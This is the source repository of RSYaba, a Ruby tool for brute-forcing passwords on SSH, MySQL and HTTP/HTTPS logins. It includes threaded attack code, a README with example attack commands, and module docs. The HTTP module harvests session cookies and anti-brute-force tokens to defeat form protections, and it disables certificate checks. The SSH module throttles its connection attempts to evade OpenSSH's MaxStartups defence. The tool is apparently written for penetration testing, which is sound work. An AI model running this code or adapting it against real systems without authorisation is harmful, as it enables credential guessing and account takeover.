├── modules ├── https.rb ├── brute.rb ├── mysql.rb ├── ssh.rb └── http.rb ├── docs ├── README.mysql ├── README.http └── README.ssh ├── README.md └── rsyaba.rb /modules/https.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | require 'net/https' 3 | require 'uri' 4 | require 'modules/brute.rb' 5 | require 'modules/http.rb' 6 | 7 | class Brute_https < Brute_http 8 | @@port = 443 9 | @@protocol = 'https' 10 | end 11 | -------------------------------------------------------------------------------- /docs/README.mysql: -------------------------------------------------------------------------------- 1 | MySQL 2 | ===== 3 | 4 | There is nothing really too special about this module, it uses the standard 5 | Ruby MySQL library to make a connection to the specified database and checks if 6 | the connection succeeded or not, as soon as it works it reports success. 7 | -------------------------------------------------------------------------------- /modules/brute.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | require 'getoptlong' 3 | 4 | class Brute 5 | @@verbose = false 6 | @@host = nil 7 | attr_accessor :verbose 8 | 9 | def self.set_verbose 10 | @@verbose=true 11 | end 12 | 13 | def self.get_host 14 | return @@host 15 | end 16 | 17 | def self.set_host host 18 | @@host=host 19 | end 20 | 21 | def dump_details 22 | puts 'host: ' + @@host 23 | end 24 | 25 | def login 26 | puts 'no login code written' 27 | return true 28 | end 29 | 30 | # return blank opts 31 | def self.get_opts 32 | return [ 33 | ] 34 | 35 | end 36 | 37 | # there are no parameters to parse 38 | def self.parse_params opts 39 | begin 40 | opts.each do |opt, arg| 41 | # Nothing to do 42 | end 43 | rescue => e 44 | puts e 45 | usage 46 | end 47 | end 48 | end 49 | -------------------------------------------------------------------------------- /docs/README.http: -------------------------------------------------------------------------------- 1 | HTTP/HTTPS 2 | ========== 3 | 4 | This module was my initial reason for writing this tool. It allows you to brute 5 | force web login forms taking into consideration sessions and control tokens 6 | which are designed to prevent brute forcing. 7 | 8 | It does this by, at your request, first doing a GET on the page, storing the 9 | session cookie and then using it when doing the POST. If you tell it there is 10 | a field containing a protection key it will also collect that value and POST 11 | that back with the rest of the values. This more closely simulates a real world 12 | user logging in through a browser rather than most web form brute force tools 13 | which just blindly throw their values at the form. If a login is successful the 14 | cookie value that was used for the login is returned along with the login 15 | details, this allows you to go straight into the session without having to log 16 | in again. 17 | 18 | To just request a cookie before a login attempt use the --get_cookie parameter 19 | and to tell the app a field is a token use --token_field. 20 | 21 | Another thing which I find useful is the ability to specify either failure or 22 | success messages. Sometimes I know that a page will return a message saying 23 | "login failed" when you fail but I don't know what it says on success, in this 24 | situation you can set the --failure_message parameter to be that message and if 25 | the tool does not see this message then it assumes that the login worked. 26 | Similarly you might know that on a successful login you get a "Welcome" message 27 | so you can set that with --success_message. 28 | 29 | The default field names to use in the POST are username and password but they 30 | can both be overridden with --username_field and --password_field. For testing 31 | apps which have just a password field simply don't specify a username. 32 | 33 | In the unlikely event that the HTTP REFERRER is being checked by the login 34 | script you can specify that with --referrer and in case something like 35 | mod_security is checking user agent strings the user agent can be set with --ua. 36 | 37 | This module covers all the areas I've needed during brute force attacks on web 38 | apps but if you find I've missed anything please get in touch. I would like to 39 | make this tool the most comprehensive one around. 40 | -------------------------------------------------------------------------------- /modules/mysql.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | require 'mysql' 3 | require 'modules/brute.rb' 4 | 5 | class Brute_mysql < Brute 6 | @@port = 3306 7 | 8 | attr_accessor :username, :password 9 | attr_reader :success 10 | 11 | def initialize 12 | @success = false 13 | end 14 | 15 | def login 16 | if @username.nil? 17 | puts 'No username specified' 18 | puts 19 | usage 20 | end 21 | 22 | if @username.nil? or @password.nil? or @@host.nil? or @@port.nil? 23 | Thread.abort_on_exception = true 24 | raise MissingParameterException.new, 'Missing parameters' 25 | end 26 | 27 | if @@verbose 28 | puts 'Starting with ' + @username + ' ' + @password 29 | end 30 | 31 | begin 32 | # connect to the MySQL server 33 | dbh = Mysql.real_connect(@@host, @username, @password, 'test', @@port) 34 | # get server version string and display it 35 | puts 'Success with ' + @username + ' ' + @password 36 | #puts 'Server version: ' + dbh.get_server_info 37 | @success = true 38 | rescue Mysql::Error => e 39 | if e.error =~ /Can't connect/ 40 | puts 'Could not connect to specified MySQL server' 41 | exit 42 | end 43 | # puts e.inspect 44 | # puts "Error code: #{e.errno}" 45 | # puts "Error message: #{e.error}" 46 | # puts "Error SQLSTATE: #{e.sqlstate}" if e.respond_to?('sqlstate') 47 | ensure 48 | # disconnect from server 49 | dbh.close if dbh 50 | end 51 | $running_threads -= 1 52 | 53 | return @success 54 | end 55 | 56 | def dump_details 57 | puts 'host: ' + @@host 58 | puts 'port: ' + @@port.to_s 59 | puts 'username: ' + @username.to_s 60 | puts 'password: ' + @password.to_s 61 | end 62 | 63 | def self.usage 64 | puts YABA_VERSION 65 | puts ' 66 | Usage for MySQL module 67 | 68 | Usage: rsyaba.rb [OPTION] ... mysql 69 | --help, -?: show help 70 | --host, -h: host 71 | --wordlist x, -w x: the wordlist to use, either a file or - for STDIN 72 | --userlist x, -u x: a file containing the list of users 73 | --user x, -U x: a single username 74 | --throttle x, -T x: throttleback time, see SSH README for more information 75 | --max_threads x, -t x: maximumn number of threads, more isn\'t always better, default 5 76 | --port, -p: Port number 77 | -v: verbose 78 | 79 | ' 80 | exit 81 | end 82 | 83 | def self.get_opts 84 | return [ 85 | ] 86 | 87 | end 88 | 89 | def self.parse_params opts 90 | begin 91 | opts.each do |opt, arg| 92 | # Nothing to do 93 | end 94 | rescue => e 95 | puts e 96 | usage 97 | end 98 | end 99 | end 100 | -------------------------------------------------------------------------------- /modules/ssh.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | require 'net/ssh' 4 | require 'modules/brute.rb' 5 | 6 | class Brute_ssh < Brute 7 | @@port = 22 8 | 9 | attr_accessor :username, :password 10 | attr_reader :success 11 | 12 | def initialize 13 | @success = false 14 | end 15 | 16 | def login 17 | if @username.nil? 18 | puts 'No username specified' 19 | puts 20 | usage 21 | end 22 | 23 | if @username.nil? or @password.nil? or @@host.nil? or @@port.nil? 24 | Thread.abort_on_exception = true 25 | raise MissingParameterException.new, 'Missing parameters' 26 | end 27 | 28 | if @@verbose 29 | puts 'Starting with ' + @username + ' ' + @password 30 | end 31 | 32 | begin 33 | Net::SSH.start(@@host, @username, :auth_methods => 'password', :timeout => 60, :password => @password, :verbose => Logger::FATAL) do |ssh| 34 | puts 'Success with ' + @username + ' ' + @password 35 | if @@verbose 36 | # capture all stderr and stdout output from a remote process 37 | output = ssh.exec!('hostname') 38 | puts 'Host: ' + output 39 | end 40 | # connection is explicitly closed when this block closes so no need 41 | # for a close call 42 | @success = true 43 | end 44 | rescue SocketError 45 | puts 'Can\'t connect to the host' 46 | exit 47 | rescue Net::SSH::AuthenticationFailed 48 | puts 'Failure with ' + @username + ' ' + @password if @@verbose 49 | rescue Errno::ECONNREFUSED 50 | puts 'Can\'t find running SSH server' 51 | exit 52 | rescue Net::SSH::Disconnect 53 | raise ThrottleBackException 54 | end 55 | 56 | $running_threads -= 1 57 | 58 | return @success 59 | end 60 | 61 | def dump_details 62 | puts 'host: ' + @@host 63 | puts 'port: ' + @@port.to_s 64 | puts 'username: ' + @username.to_s 65 | puts 'password: ' + @password.to_s 66 | end 67 | 68 | def self.usage 69 | puts YABA_VERSION 70 | puts' 71 | Usage for ssh module 72 | 73 | Usage: rsyaba.rb [OPTION] ... ssh 74 | --help, -?: show help 75 | --host, -h: host 76 | --wordlist x, -w x: the wordlist to use, either a file or - for STDIN 77 | --userlist x, -u x: a file containing the list of users 78 | --user x, -U x: a single username 79 | --throttle x, -T x: throttle back time, see SSH README for more information 80 | --max_threads x, -t x: maximumn number of threads, more isn\'t always better, default 5 81 | --port, -p: Port number 82 | -v: verbose 83 | 84 | ' 85 | exit 86 | end 87 | 88 | def self.get_opts 89 | return [ 90 | ] 91 | 92 | end 93 | 94 | def self.parse_params opts 95 | begin 96 | opts.each do |opt, arg| 97 | # Nothing to do 98 | end 99 | rescue => e 100 | puts e 101 | usage 102 | end 103 | end 104 | end 105 | -------------------------------------------------------------------------------- /docs/README.ssh: -------------------------------------------------------------------------------- 1 | SSH 2 | === 3 | 4 | This module should be as simple as the MySQL one, use the standard Ruby SSH 5 | module and have it make connections till it either connects successfully 6 | but unfortunately for attackers the most common SSH server OpenSSH has built in 7 | security to protect against brute force attacks which stops it from being this 8 | simple. 9 | 10 | This is the quote from the sshd_config man page 11 | 12 | MaxStartups 13 | Specifies the maximum number of concurrent unauthenticated con- 14 | nections to the SSH daemon. Additional connections will be 15 | dropped until authentication succeeds or the LoginGraceTime 16 | expires for a connection. The default is 10. 17 | 18 | Alternatively, random early drop can be enabled by specifying the 19 | three colon separated values ``start:rate:full'' (e.g. 20 | "10:30:60"). sshd(8) will refuse connection attempts with a 21 | probability of ``rate/100'' (30%) if there are currently 22 | ``start'' (10) unauthenticated connections. The probability 23 | increases linearly and all connection attempts are refused if the 24 | number of unauthenticated connections reaches ``full'' (60). 25 | 26 | Basically, by default, when you hit 10 connections it server starts to randomly 27 | drop connections till it it gets back under the limit. As we are hammering it 28 | then that 10 threshold comes quickly and doesn't have time to drop back down. As 29 | very few people ever change the defaults this will catch you on most servers you 30 | try. 31 | 32 | I've come up with a couple of ways to get around this but I'm not fully happy 33 | with any of them. The first is simply to drop the number of threads down and 34 | hope you don't hit the limit, you can do this with -t. 35 | 36 | The SSH server running on OS X doesn't seem affected by this and I've had 37 | reports of servers running on Microsoft platforms being OK as well. 38 | 39 | The second is to throttle the connections when the app starts to get connections 40 | dropped by the server. It does this by having a sleep delay that is slowly 41 | increased each time a connection is dropped. The hope is that this will slide up 42 | and end up slowing the connections enough that they stay under the threshold and 43 | no more get dropped. The dropped connections are then retried at the end of the 44 | session. The time added on at each step can be altered with the --throttle 45 | parameter, the default is to add 0.4 seconds on per connection which seems to 46 | offer a good balance but that depends on the connection speed of the network and 47 | other environmental issues. 48 | 49 | I've had intermittent results with this approach and managed to regularly lock 50 | up the ssh server I'm using to test. If you are going to test this make sure you 51 | have an alternative way to enter the box you are testing just in case the ssh 52 | server goes down. 53 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![alt text](https://www.randomstorm.com/images/tools/RSYaba.png "RSYaba") 2 | 3 | rsyaba - RS Yet Another Brute Attacker 4 | ======================================== 5 | 6 | Copyright(c) 2010, RandomStorm Limited - www.randomstorm.com 7 | Robin Wood 8 | Version 1.0.1 9 | 10 | RSYaba is tool to run brute force attacks against various services in a similar 11 | way to Hydra and Medusa. I started writing it as I found both had troubles with 12 | HTTP and getting SSH to work was fiddly so I though why not write my own. 13 | 14 | It is also written in Ruby so modifying the scripts is a lot simpler than having 15 | to change C/C++ code then recompile. All the modules so far are based on standard 16 | Ruby gems so they handle all the protocol stuff which means there is a nice 17 | level of abstraction for the actual attack framework. 18 | 19 | While writing the HTTP module I added a feature that is missing in all the other 20 | HTTP bruteforcers I've tried, the ability to handle authentication that relies 21 | on a cookie already being set and, even stricter, forms that use unique tokens 22 | to prevent brute force attacks. 23 | 24 | Each module has its own README in the docs directory 25 | 26 | And its RSYaba because RSYabf doesn't sound quite as good. 27 | 28 | Installation 29 | ============ 30 | 31 | Untar the tarball and make rsyaba.rb executable. 32 | 33 | For HTTP you'll need the hpricot gem 34 | 35 | ```sudo gem install hpricot``` 36 | 37 | For SSH you'll need to install the net-ssh gem 38 | 39 | ```sudo gem install net-ssh``` 40 | 41 | and for MySQL you'll need the mysql gem which on Debian depends on the mysql 42 | client dev libraries 43 | 44 | ``` 45 | sudo apt-get install libmysqlclient-dev 46 | sudo gem install mysql 47 | ``` 48 | 49 | Usage 50 | ===== 51 | 52 | To get basic help simply run 53 | 54 | ```./rsyaba.rb --help``` 55 | 56 | To list all supported protocols 57 | 58 | ```./rsyaba.rb --list_protocols``` 59 | 60 | To get help on a specific protocol 61 | 62 | ```./rsyaba.rb http --help``` 63 | 64 | To run an attack with words from the 100_words.txt file and usernames from user_list 65 | 66 | ```./rsyaba.rb http --host www.example.com --path /login.php --wordlist 100_words.txt -u user_list``` 67 | 68 | To do the attack taking the word list from stdin using rsmangler to generate the 69 | list, a single username of robin 70 | 71 | ```rsmangler.rb -f names | ./rsyaba.rb ssh --wordlist - -U robin --host example.com``` 72 | 73 | To do a HTTPS attack against a token protected site knowing the token is stored 74 | in the field token and that on a successful login the word "Success" is 75 | displayed on the screen 76 | 77 | ``` 78 | ./rsyaba.rb https --host www.example.com --path /login/with_token.php -w 100_words.txt --success_message="Success" --token_field="token" -U robin 79 | ``` 80 | 81 | Most of the generic command line options should be self explanatory, the only 82 | one that isn't is the throttleback option, for more information on that see the 83 | SSH module docs in docs/README.ssh. 84 | 85 | For information on specific modules look in the docs directory. 86 | 87 | License 88 | ======= 89 | 90 | This project released under the Creative Commons Attribution-Share Alike 2.0 91 | UK: England & Wales 92 | 93 | ( http://creativecommons.org/licenses/by-sa/2.0/uk/ ) 94 | 95 | Bugs, Comments, Feedback 96 | ======================== 97 | 98 | Feel free to get in touch, robin.wood@randomstorm.com 99 | -------------------------------------------------------------------------------- /modules/http.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | require 'net/https' 3 | require 'uri' 4 | require 'modules/brute.rb' 5 | require 'hpricot' 6 | 7 | class Brute_http < Brute 8 | @@port = 80 9 | @@path = '/' 10 | @@get_cookie = false 11 | @@token_field = nil 12 | @@ua = 'Yaba' 13 | @@referrer = 'http://example.com' 14 | @@username_field = 'username' 15 | @@password_field = 'password' 16 | @@protocol = 'http' 17 | @@success_message = 'Success' 18 | @@failure_message = nil 19 | 20 | @cookie = nil 21 | @token = nil 22 | 23 | attr_accessor :username, :password 24 | attr_reader :success 25 | 26 | def initialize 27 | @cookie = nil 28 | @token = nil 29 | @success = false 30 | end 31 | 32 | def login 33 | if @@password_field.nil? or @@host.nil? or @@path.nil? or @@port.nil? 34 | Thread.abort_on_exception = true 35 | raise MissingParameterException.new, 'Missing parameters' 36 | end 37 | 38 | begin 39 | if @@verbose 40 | if @username.nil? 41 | puts 'Starting with ' + @password 42 | else 43 | puts 'Starting with ' + @username + ' ' + @password 44 | end 45 | end 46 | 47 | http = Net::HTTP.new(@@host, @@port) 48 | 49 | if @@protocol == 'https' 50 | http.use_ssl = true 51 | http.verify_mode = OpenSSL::SSL::VERIFY_NONE 52 | else 53 | # non-secure 54 | end 55 | 56 | headers = { 57 | 'User-Agent' => @@ua 58 | } 59 | headers['Referrer'] = @@referrer unless @@referrer.nil? 60 | 61 | if !@@token_field.nil? or @@get_cookie 62 | # GET request -> so the host can set his cookies 63 | begin 64 | resp = http.get(@@path, nil) 65 | rescue NoMethodError => fault 66 | puts 'A connection to the website couldn\'t be made, is it up?' 67 | exit 68 | end 69 | 70 | @cookie = resp.response['set-cookie'] 71 | 72 | if !@@token_field.nil? 73 | doc = Hpricot(resp.body) 74 | (doc/'form//input').each do |row| 75 | row.attributes.to_hash.each_pair { |key, value| 76 | if key == 'name' and value == @@token_field 77 | @token = row.attributes.to_hash['value'] if row.attributes.to_hash.has_key?('value') 78 | if @@verbose 79 | puts 'Token found ' + @token 80 | end 81 | end 82 | } 83 | 84 | #puts row.innerHTML.split(' ')[1] if td_item.attributes['class'] == 'price' 85 | end 86 | end 87 | 88 | end 89 | headers ['Cookie'] = @cookie if !@cookie.nil? 90 | 91 | if @username.nil? 92 | data = @@password_field + '=' + @password 93 | else 94 | data = @@username_field + '=' + @username + '&' + @@password_field + '=' + @password 95 | end 96 | 97 | if !@token.nil? 98 | data += '&' + @@token_field + '=' + @token 99 | end 100 | 101 | begin 102 | res = http.request_post(@@path, data, headers) 103 | rescue Errno::ECONNREFUSED =>fred 104 | puts 'A connection to the website couldn\'t be made, is it up?' 105 | puts 106 | exit 107 | rescue NoMethodError => fault 108 | puts 'A connection to the website couldn\'t be made, is it up?' 109 | puts 110 | exit 111 | end 112 | 113 | #puts res.body 114 | 115 | case res 116 | when Net::HTTPRedirection 117 | # need to put code in here to handle redirects but when redirecting off to a different host 118 | # this becomes really trick as it means recreating the HTTP object and repopulating it 119 | # then running through the whole process again. And this has to be recursive till you finally 120 | # get to an end point as you could get multiple redirects 121 | 122 | puts 'Redirection occured - success occured - success?' 123 | if @username.nil? 124 | puts 'Password used ' + @password 125 | else 126 | puts 'Password used ' + @username + ' ' + @password 127 | end 128 | 129 | puts 130 | puts res.body 131 | puts 132 | when Net::HTTPSuccess 133 | # OK 134 | if !@@success_message.nil? 135 | if (/#{@@success_message}/.match(res.body)) 136 | if @username.nil? 137 | puts 'Success with ' + @password 138 | else 139 | puts 'Success with ' + @username + ' ' + @password 140 | end 141 | 142 | # puts res.body 143 | if @get_cookie 144 | puts 'The cookie is: ' + @cookie.to_s 145 | end 146 | @success = true 147 | else 148 | # puts 'failed' 149 | end 150 | # failed 151 | else 152 | puts res.body 153 | puts @@failure_message 154 | exit 155 | if (/#{@@failure_message}/.match(res.body)) 156 | puts 'Failed with regex' 157 | else 158 | if @username.nil? 159 | puts 'Success with ' + @password 160 | else 161 | puts 'Success with ' + @username + ' ' + @password 162 | end 163 | # puts res.body 164 | if @get_cookie 165 | puts 'The cookie is: ' + @cookie 166 | end 167 | @success = true 168 | end 169 | end 170 | else 171 | res.error! 172 | end 173 | $running_threads -= 1 174 | 175 | return @success 176 | rescue Net::HTTPServerException => detail 177 | puts 'Page not found' 178 | puts 179 | exit 180 | rescue MissingParameterException => detail 181 | puts 'Parameter not passed' 182 | puts 183 | exit 184 | end 185 | end 186 | 187 | def dump_details 188 | puts 'http://' + @@host + @@path 189 | puts 'on port ' + @@port.to_s 190 | end 191 | 192 | def self.usage 193 | puts YABA_VERSION 194 | puts ' 195 | Usage for http module 196 | 197 | Usage: rsyaba.rb [OPTION] ... http 198 | --help, -?: show help 199 | --host, -h: host 200 | --wordlist x, -w x: the wordlist to use, either a file or - for STDIN 201 | --userlist x, -u x: a file containing the list of users 202 | --user x, -U x: a single username 203 | --throttle x, -T x: throttleback time, see SSH README for more information 204 | --max_threads x, -t x: maximumn number of threads, more isn\'t always better, default 5 205 | --path, -P: path 206 | --ua x: user agent string to use 207 | --referrer x: set the referrer 208 | --get_cookie, -c: do a GET before the POST and use the returned session cookie in the POSt 209 | --port, -p: Port number 210 | --token_field: the name of a field containing a token that must be returned 211 | --username_field: the name of the username field, default = username 212 | --password_field: the name of the password field, default = password 213 | --success_message: the message received on success 214 | --failure_message: the message received on failure 215 | -v: verbose 216 | 217 | ' 218 | exit 219 | end 220 | 221 | def self.get_opts 222 | return [ 223 | [ '--path', '-P', GetoptLong::REQUIRED_ARGUMENT ], 224 | [ '--get_cookie', '-c', GetoptLong::NO_ARGUMENT ], 225 | [ '--port', '-p' , GetoptLong::REQUIRED_ARGUMENT ], 226 | [ '--ua', GetoptLong::REQUIRED_ARGUMENT ], 227 | [ '--referrer', GetoptLong::REQUIRED_ARGUMENT ], 228 | [ '--token_field', GetoptLong::REQUIRED_ARGUMENT ], 229 | [ '--username_field', GetoptLong::REQUIRED_ARGUMENT ], 230 | [ '--password_field', GetoptLong::REQUIRED_ARGUMENT ], 231 | [ '--success_message', GetoptLong::REQUIRED_ARGUMENT ], 232 | [ '--failure_message', GetoptLong::REQUIRED_ARGUMENT ], 233 | ] 234 | end 235 | 236 | def self.parse_params opts 237 | begin 238 | opts.each do |opt, arg| 239 | case opt 240 | when '--username_field' 241 | @@username_field = arg 242 | when '--password_field' 243 | @@password_field = arg 244 | when '--token_field' 245 | @@token_field = arg 246 | when '--path' 247 | @@path = arg 248 | when '--port' 249 | @@port = arg.to_i 250 | when '--get_cookie' 251 | @@get_cookie = true 252 | when '--referrer' 253 | @@referrer = arg 254 | when '--success_message' 255 | @@success_message = arg 256 | @@failure_message = nil 257 | when '--failure_message' 258 | @@success_message = nil 259 | @@failure_message = arg 260 | when '--ua' 261 | @@ua = arg 262 | end 263 | end 264 | rescue => e 265 | puts e 266 | self.usage 267 | end 268 | 269 | if @@path.nil? 270 | puts 'You must specify a path' 271 | puts 272 | self.usage 273 | end 274 | 275 | if @@path !~ /^\// 276 | @@path = '/' + @@path 277 | end 278 | 279 | end 280 | 281 | end 282 | -------------------------------------------------------------------------------- /rsyaba.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # encoding: UTF-8 3 | 4 | # == 5 | # 6 | # rsyaba - RS Yet Another Brute Attacker 7 | # 8 | # Yaba is tool to run brute force attacks against various services in a similar 9 | # way to Hydra and Medusa. I started writing it as I found both had troubles with 10 | # HTTP and getting SSH to work was fiddly so I though why not write my own. 11 | # 12 | # == Usage 13 | # 14 | # To get basic help simply run 15 | # 16 | # ./rsyaba.rb --help 17 | # 18 | # To list all supported protocols 19 | # 20 | # ./rsyaba.rb --list_protocols 21 | # 22 | # To get help on a specific protocol 23 | # 24 | # ./rsyaba.rb http --help 25 | # 26 | # To run an attack with words from the 100_words.txt file and usernames from user_list 27 | # 28 | # ./rsyaba.rb http --host www.example.com --path /login.php --wordlist 100_words.txt -u user_list 29 | # 30 | # To do the attack taking the word list from stdin using rsmangler to generate the 31 | # list. A single username, robin 32 | # 33 | # rsmangler.rb -f names | ./rsyaba.rb ssh --wordlist - -U robin --host example.com 34 | # 35 | # To do a HTTPS attack against a CSRF protected site knowing the token is stored 36 | # in the field token and that on a successful login the word "Success" is 37 | # displayed on the screen 38 | # 39 | # ./rsyaba.rb https --host www.example.com --path /login/with_token.php -w 100_words.txt --success_message="Success" --token_field="token" -U robin 40 | # 41 | # 42 | # Author:: Robin Wood (robin@digininja.org) 43 | # Copyright:: Copyright (c) Robin Wood 2010 44 | # Licence:: GPL 45 | # 46 | require 'rubygems' 47 | require 'getoptlong' 48 | 49 | THROTTLE_BACK_DELAY = 0.4 50 | MAX_THREADS = 5 51 | YABA_VERSION = 'rsyaba 1.0.1, Robin Wood (robin.wood@randomstorm.com) (www.randomstorm.com)' 52 | 53 | class ThrottleBackException < RuntimeError 54 | end 55 | 56 | class TryAgainException < RuntimeError 57 | end 58 | 59 | class MissingParameterException < RuntimeError 60 | end 61 | 62 | def to_class(name) 63 | Kernel.const_get(name) 64 | end 65 | 66 | def get_protocols 67 | modules = [] 68 | Dir.foreach('./modules') do |file| 69 | if /(.*)\.rb/.match(file) 70 | module_script = $1 71 | # Ignore the base class 72 | next if module_script == 'brute' 73 | modules << $1 74 | end 75 | end 76 | modules.sort! 77 | return modules 78 | end 79 | 80 | def list_protocols 81 | puts 'The available protocols are:' 82 | puts 83 | 84 | modules = get_protocols 85 | modules.each { |mod| puts mod } 86 | exit 87 | end 88 | 89 | def usage 90 | puts YABA_VERSION 91 | puts ' 92 | Usage: 93 | yaya.rb --help: Get help for the specified protocol 94 | yaya.rb --list_protocols, -l: show basic help 95 | yaya.rb --help, -?: show basic help 96 | 97 | ' 98 | exit 99 | end 100 | 101 | def is_numeric(s) 102 | begin 103 | Float(s) 104 | rescue 105 | false # not numeric 106 | else 107 | true # numeric 108 | end 109 | end 110 | 111 | def random_password 112 | return (0...8).map { 65.+(rand(25)).chr }.join 113 | end 114 | 115 | wordlist_fh = nil 116 | max_threads = MAX_THREADS 117 | verbose = false 118 | port = nil 119 | throttle_delay = THROTTLE_BACK_DELAY 120 | 121 | usage if ARGV.length < 1 122 | 123 | protocol = ARGV[0] 124 | 125 | case protocol 126 | when '-?' 127 | usage 128 | when '--help' 129 | usage 130 | when '-l' 131 | list_protocols 132 | when '--list_protocols' 133 | list_protocols 134 | end 135 | 136 | base_class = nil 137 | protocols = get_protocols 138 | 139 | if protocols.include? protocol 140 | require 'modules/' + protocol + '.rb' 141 | 142 | base_class_name = 'Brute_' + protocol 143 | base_class = to_class base_class_name 144 | else 145 | puts 'Unknown module' 146 | exit 147 | end 148 | 149 | opts_arr = [ 150 | ['--help', '-?', GetoptLong::NO_ARGUMENT], 151 | ['--host', '-h' , GetoptLong::REQUIRED_ARGUMENT], 152 | ['--wordlist', '-w' , GetoptLong::REQUIRED_ARGUMENT], 153 | ['--userlist', '-u' , GetoptLong::REQUIRED_ARGUMENT], 154 | ['--user', '-U' , GetoptLong::REQUIRED_ARGUMENT], 155 | ['--throttle', '-T' , GetoptLong::REQUIRED_ARGUMENT], 156 | ['--max_threads', '-t' , GetoptLong::OPTIONAL_ARGUMENT], 157 | ['--list_protocols', '-l' , GetoptLong::NO_ARGUMENT], 158 | ['-v', GetoptLong::NO_ARGUMENT] 159 | ] 160 | 161 | opts_arr += base_class.get_opts unless base_class.nil? 162 | 163 | opts = GetoptLong.new(*opts_arr) 164 | 165 | #doing this as the getoptlong.new burns up all the arguments so it can't be used again in the modules 166 | stored_opts = [] 167 | 168 | host = nil 169 | 170 | usernames = nil 171 | begin 172 | opts.each do |opt, arg| 173 | case opt 174 | when '--userlist' 175 | unless File.exist?(arg) 176 | puts 'User list file not found' 177 | puts 178 | exit 179 | end 180 | usernames = {} 181 | userlist_fh = File.open arg, 'r' 182 | until userlist_fh.eof? 183 | user = userlist_fh.gets.chomp 184 | usernames[user] = false 185 | end 186 | userlist_fh.close 187 | when '--user' 188 | usernames = {arg => false} 189 | when '--port' 190 | if is_numeric(arg) 191 | port = arg.to_i 192 | base_class.set_port(arg.to_i) unless base_class.nil? 193 | else 194 | puts 'Invalid port passed' 195 | puts 196 | exit 197 | end 198 | when '--list_protocols' 199 | list_protocols 200 | when '--help' 201 | if base_class.nil? 202 | usage 203 | else 204 | base_class.usage 205 | end 206 | when '--host' 207 | base_class.set_host(arg) unless base_class.nil? 208 | host = arg 209 | when '--throttle' 210 | if is_numeric arg 211 | throttle_delay = arg.to_i 212 | else 213 | puts 'Invalid throttle time, using ' + THROTTLE_BACK_DELAY.to_s 214 | end 215 | when '--max_threads' 216 | if is_numeric arg 217 | max_threads = arg.to_i 218 | else 219 | puts 'Invalid number specified for max threads, using ' + MAX_THREADS.to_s 220 | end 221 | when '--wordlist' 222 | if arg == '-' 223 | wordlist_fh = STDIN 224 | else 225 | begin 226 | if File.exist? arg 227 | wordlist_fh = File.new(arg, 'r') 228 | else 229 | puts 'Word list file not found' 230 | puts 231 | exit 232 | end 233 | rescue 234 | puts 'There was a problem opening the worlist file' 235 | exit 236 | end 237 | end 238 | when '-v' 239 | verbose = true 240 | base_class.set_verbose unless base_class.nil? 241 | else 242 | stored_opts << [opt, arg] 243 | end 244 | end 245 | rescue GetoptLong::MissingArgument, GetoptLong::InvalidOption, MissingParameterException 246 | puts 247 | if base_class.nil? 248 | usage 249 | else 250 | base_class.usage 251 | end 252 | rescue => e 253 | puts 'Something failed' 254 | puts e.inspect 255 | exit 256 | end 257 | 258 | if host.nil? 259 | puts 'Host not specified' 260 | puts 261 | 262 | if base_class.nil? 263 | self.usage 264 | else 265 | base_class.usage 266 | end 267 | end 268 | 269 | exit if base_class.nil? 270 | 271 | base_class.parse_params stored_opts 272 | 273 | # If no usernames passed then there isn't a username to test so pass nil in instead 274 | if usernames.nil? 275 | usernames = {} 276 | usernames[nil] = false 277 | end 278 | 279 | if wordlist_fh.nil? 280 | puts 'You must specify a wordlist file, for STDIN use -' 281 | puts 282 | exit 283 | end 284 | 285 | if base_class.get_host.nil? 286 | puts 'You didn\'t provide a hostname' 287 | exit 288 | end 289 | 290 | threads = [] 291 | $running_threads = 0 292 | sleep_delay = 0 293 | retries = [] 294 | 295 | until wordlist_fh.eof? 296 | password = wordlist_fh.gets.chomp 297 | 298 | usernames.each_pair do |username, succ| 299 | # puts 'Testing username ' + username + ' ' + ' with password ' + password 300 | 301 | sleep sleep_delay 302 | while $running_threads >= max_threads 303 | #do nothing 304 | end 305 | 306 | next if usernames[username] 307 | 308 | b = base_class.new 309 | b.username = username 310 | b.password = password 311 | 312 | a = Thread.new do 313 | begin 314 | usernames[username] = true if b.login 315 | rescue MissingParameterException 316 | puts 317 | puts 'A key parameter was missing' 318 | exit 319 | rescue ThrottleBackException 320 | sleep_delay += throttle_delay 321 | puts 'push ' + username + ' and ' + password + ' back into the stack to try again' if verbose 322 | retries << b 323 | #retries << {'password' => password, 'user' => username} 324 | $running_threads -= 1 325 | rescue => fault 326 | puts 'Something failed' 327 | # puts fault.inspect 328 | # puts fault.backtrace 329 | exit 330 | end 331 | end 332 | 333 | # puts 'sleep delay = ' + sleep_delay.to_s 334 | $running_threads += 1 335 | threads << a 336 | 337 | end 338 | end 339 | 340 | wordlist_fh.close 341 | 342 | if retries.length > 0 343 | puts 'Finished first run through, retrying failed attempts' 344 | 345 | retries.each do |b| 346 | # puts 'Testing username ' + username + ' ' + ' with password ' + password 347 | 348 | sleep sleep_delay 349 | while $running_threads >= max_threads 350 | #do nothing 351 | end 352 | 353 | next if usernames[b.username] 354 | 355 | a = Thread.new do 356 | begin 357 | usernames[b.username] = true if b.login 358 | rescue MissingParameterException 359 | puts 360 | puts 'A key parameter was missing' 361 | exit 362 | rescue ThrottleBackException 363 | sleep_delay += throttle_delay 364 | puts 'This pair failed for a second time, giving up on it ' + b.username + ' and ' + b.password + '' if verbose 365 | $running_threads -= 1 366 | rescue => fault 367 | puts 'Something failed' 368 | # puts fault.inspect 369 | # puts fault.backtrace 370 | exit 371 | end 372 | end 373 | 374 | $running_threads += 1 375 | threads << a 376 | end 377 | end 378 | 379 | threads.each { |x| x.join } 380 | --------------------------------------------------------------------------------